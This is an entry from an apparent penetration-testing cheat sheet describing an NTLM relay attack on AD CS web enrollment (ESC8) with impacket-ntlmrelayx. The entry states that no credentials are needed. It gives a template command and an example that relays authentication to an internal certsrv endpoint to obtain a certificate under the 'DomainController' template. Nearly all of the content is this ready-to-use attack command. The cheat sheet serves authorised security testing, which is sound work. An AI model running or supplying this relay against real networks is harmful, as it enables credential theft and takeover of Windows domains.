NTLM Relay to ADCS

Relay NTLM authentication to ADCS web enrollment to obtain a certificate

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: impacket-ntlmrelayx
Category: Credential Attacks / NTLM Relay & Coercion
Platform: linux
Requires: no credentials
Protocols: NTLM, HTTP

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Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-ntlmrelayx -t http://<ip>/certsrv/certfnsh.asp --adcs --template '<template>'

Examples

impacket-ntlmrelayx -t http://192.168.1.100/certsrv/certfnsh.asp --adcs --template 'DomainController'

Tags

impacket ntlmrelay relay adcs esc8 certificate

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